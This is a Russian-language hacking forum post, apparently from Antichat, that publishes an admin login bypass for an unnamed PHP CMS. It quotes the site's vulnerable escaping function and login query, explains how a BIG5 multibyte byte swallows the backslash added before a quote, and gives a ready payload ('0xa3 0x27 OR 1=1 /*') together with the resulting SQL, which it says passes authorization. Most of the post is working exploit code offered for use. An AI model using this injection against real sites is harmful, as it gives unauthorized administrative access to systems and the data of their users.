
22.12.2008, 21:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами:
10077446
Репутация:
3965
|
|
Обход авторизации в админке.
Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов ) такой случай очень редкий.
Требования:
PHP: < v4.3.0
magic_qoutes_gpc: OFF
character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)
Уязвимая функция (functions.php)
PHP код:
function mysql_prep($value)
{
$magic_quotes_active = get_magic_quotes_gpc();
$new_enough_php = function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
if ($new_enough_php) { // PHP v4.3.0 or higher
// undo any magic quote effects so mysql_real_escape_string can do the work
if ($magic_quotes_active) {
$value = stripslashes($value);
}
$value = mysql_real_escape_string($value);
} else { // before PHP v4.3.0
if (!$magic_quotes_active) {
$value = addslashes($value);
}
}
return $value;
}
Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.
Другой уязвимый кусок кода:
PHP код:
$user_name = mysql_prep($_POST['user_name']);
$password = mysql_prep($_POST['password']);
$h_password = sha1($password);
$query = " SELECT id, user_name, s_admin ";
$query .= " FROM users ";
$query .= " WHERE user_name = '{$user_name}' ";
$query .= " AND h_password = '{$h_password}' ";
$query .= " AND active = 1 ";
$query .= " LIMIT 1 ";
$result = mysql_query($query);
PHP код:
if (mysql_num_rows($result) == 1) {
$valid_user = mysql_fetch_array($result);
$_SESSION['user_id'] = $valid_user['id'];
$_SESSION['user_name'] = $valid_user['user_name'];
$_SESSION['s_admin'] = $valid_user['s_admin'];
redirect_to("index.php");
Пример для пост заголовка на пхп:
PHP код:
$header .= chr(0xa3).chr(0x27).' OR 1=1 /*';
Sql запрос примет такой вид:
PHP код:
$query = " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 ";
Таким образом пройдем авторизацию
Спасибо [Raz0r] За статью в блоге
Спасибо The:Paradox за експлойт для SMF <= 1.1.4
__________________
BlackHat. MoDL
|
|
|